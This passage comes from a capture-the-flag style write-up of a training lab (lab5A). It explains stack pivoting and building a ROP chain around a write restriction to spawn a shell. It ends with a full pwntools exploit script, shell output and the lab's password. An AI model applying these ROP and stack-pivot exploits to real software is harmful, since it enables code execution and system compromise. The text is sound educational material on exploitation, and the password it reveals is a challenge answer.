0028| 0xbffff55c --> 0xbffff7b8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

I entered 1094795585 which equals 0x41414141 in hex and stored this value at index -11. As assumed eip is set to 0x41414141 and the program raises a segmentation fault. Thus the most important step is done: we control the instruction pointer.

The next thing to do is to build our ROP-chain calling sys_execve("/bin/sh"). We already did this in the last level but now we are bound to some restrictions:

(1) We cannot use the memory right after the return address we overwrite.
(2) Within the buffer data we have chunks of 8 bytes, following by 4 bytes which we cannot write to.

We will deal with these two restrictions one after the other:

(1) stack pivoting

In the last level we overwrote the return address with the address of our first gadget and placed all following gadgets and required values right after this. If you have a look at the picture above again you will notice that after the return address of store_number the argument for the function, followed by locals of main are stored. Overwriting these values will mess up the program or our values just get overwritten. In order to tackle this problem we can use a technique called Stack Pivoting. When we are able to execute only one gadget but control another area on the stack (the actual memory reserved for data), we should look for a gadget which manipulates esp so that it points to the memory we control.

The following picture illustrates how our first gadget should redirect esp to the memory region we can write to without messing anything up:

How much bytes must be added to esp?
--> The address of the first gadget will be placed at 0xbffff53c.
--> data is located at 0xbffff568.
--> We cannot write to the first entry of data since 0 % 3 == 0.

Thus we need to redirect the esp from 0xbffff53c - 4 (since the address of the first gadget is popped of the stack) to 0xbffff568 + 4 (since we want to store the next gadget in data[1]):

lab5A@warzone:/levels/lab05$ python -c 'print((0xbffff568+4) - 0xbffff53c-4)'
44

This means that we need to look for a gadget which will add 44 = 0x2c to esp:

[0x08048d2a]> "/R/ add esp,0x2c;ret"
[0x08048d2a]>

Unfortunately no hit. But as always there are plenty of ways to do things and since the binary was linked statically there are thousands of gadgets:

[0x08048d2a]> "/R/ add esp,*;pop*;ret"
Do you want to print 1973 lines? (y/N)
...
  0x08079869         83c420  add esp, 0x20
  0x0807986c             5b  pop ebx
  0x0807986d             5e  pop esi
  0x0807986e             5f  pop edi
  0x0807986f             c3  ret
...

This gadget adds 0x20 = 32 to esp. So there are still 12 bytes missing. Luckily there are three pop instruction, which will each increment esp by 4. Thus esp gets incremented by 20 + 4 + 4 + 4 = 32!

(2) 8 byte chunks

Because of the restriction index % 3 != 0 we can only write two adjacent 4-byte values, followed by 4 reserved bytes:

This means that we must prevent our ROP-chain from running into a reserved 4-byte chunk:

This can be done if we find gadgets which also manipulate the stack. If we want to store a value for example into ebx, we can do this by using a gadget which pops to eax followed by another pop and a ret instruction. The second pop will take the reserved value from the stack. We cannot use this value by this way, the ret will take an address we control. Yet again there are plenty of ways to do things.

The picture shows two examples of how to avoid running into the reserved memory:

I ended up with the following gadgets:

[0x08048d2a]> "/R/ pop*;pop*;ret"
  ...
  0x080bf697     e814aaf9ff  call 0x805a0b0
  0x080bf69c         83c414  add esp, 0x14
  0x080bf69f             5b  pop ebx
  0x080bf6a0             5e  pop esi
  0x080bf6a1             c3  ret
  ...
  
[0x08048d2a]> "/R/ pop edi;ret"
  ...
  0x08096f85             5f  pop edi
  0x08096f86             c3  ret
  ...
  
[0x08048d2a]> "/R/ mov ecx*;ret"
  ...
  0x0805befc     b9ffffffff  mov ecx, 0xffffffff
  0x0805bf01         0f42c1  cmovb eax, ecx
  0x0805bf04             c3  ret
  ...
  
[0x08048d2a]> "/R/ inc ecx;ret"
  ...
  0x080e9e40             41  inc ecx
  0x080e9e41             c3  ret
  ...
  
[0x08048d2a]> "/R/ pop edx;pop*;ret"
  ...
  0x080695a5             5a  pop edx
  0x080695a6           31c0  xor eax, eax
  0x080695a8             5f  pop edi
  0x080695a9             c3  ret
  ...
  
[0x08048d2a]> "/R/ ret"
  ...
  0x08096f86             c3  ret
  ...

[0x08048d2a]> "/R/ add eax, 0xb"
  ...
  0x08096f82         83c00b  add eax, 0xb
  0x08096f85             5f  pop edi
  0x08096f86             c3  ret
  ...

[0x08048d2a]> "/R/ pop*;pop*;ret"
  ...
  0x080bf69f             5b  pop ebx
  0x080bf6a0             5e  pop esi
  0x080bf6a1             c3  ret
  ...
  
[0x08048d2a]> "/R/ int 0x80"
  ...
  0x080d92c3           cd80  int 0x80
  ...

As already said there are thousands of ways to do things. I did not find a gadget which zeros out ecx so I used two gadgets, which will do the same:

  mov ecx, 0xffffffff
  inc ecx

After our ROP-chain is built, the last thing to do is to store the string "/bin/sh" somewhere in the buffer. I decided to use index 31 and 32.

Summing it all up we can construct the final python-script again using pwntools:

lab5A@warzone:/levels/lab05$ cat /tmp/exploit_lab5A.py
from pwn import *
import sys

# gadgets
_add_esp_3xpop               = 0x08079869
_pop_edi                     = 0x08096f85
_ecx_ffffffffh               = 0x0805befc
_inc_ecx                     = 0x080e9e40
_pop_edx_xor_eax_eax_pop_edi = 0x080695a5
_ret                         = 0x08096f86
_add_eax_bh_pop_edi          = 0x08096f82
_pop_ebx_pop_esi             = 0x080bf69f
_int_80h                     = 0x080d92c3

addr_binsh  = 0xbffff5e4
addr_binsh -= int(sys.argv[1], 16)

def store(p, idx, value, skipLastRecv = False):
  p.sendline("store")
  p.recv(100)
  p.sendline(str(value))
  p.recv(100)
  p.sendline(str(idx))
  if (not skipLastRecv): p.recv(100)

def quit_prog(p):
  p.sendline("quit")

p = process("./lab5A")
p.recv(500)

store(p, 31, 0x6e69622f)     # store /bin/sh
store(p, 32, 0x0068732f)     # at 0xbffff5e4 (gdb)

idx_ret_addr = 4294967285 # -11
idx = 1

store(p, idx, _ecx_ffffffffh) # overwrite return address
store(p, idx+1, _pop_edi)
idx += 3

store(p, idx, _inc_ecx)
store(p, idx+1, _pop_edi)
idx += 3

store(p, idx, _pop_edx_xor_eax_eax_pop_edi)
store(p, idx+1, 0x0)
idx += 3

store(p, idx, _ret)
store(p, idx+1, _add_eax_bh_pop_edi)
idx += 3

store(p, idx, _pop_ebx_pop_esi)
store(p, idx+1, addr_binsh)
idx += 3

store(p, idx, _int_80h)

store(p, idx_ret_addr, _add_esp_3xpop, True)
p.interactive()

As usual I added an offset which can be passed as an argument to the script since the stack addresses vary a little bit.

After trying different offsets, 0x50 finally worked:

lab5A@warzone:/levels/lab05$ python /tmp/exploit_lab5A.py 0x50
[+] Starting program './lab5A': Done
[*] Switching to interactive mode
$ whoami
lab5end
$ cat /home/lab5end/.pass
byp4ss1ng_d3p_1s_c00l_am1rite

Done! 🙂 The final password for lab05 is byp4ss1ng_d3p_1s_c00l_am1rite.


Leave a Reply

Your email address will not be published. Required fields are marked *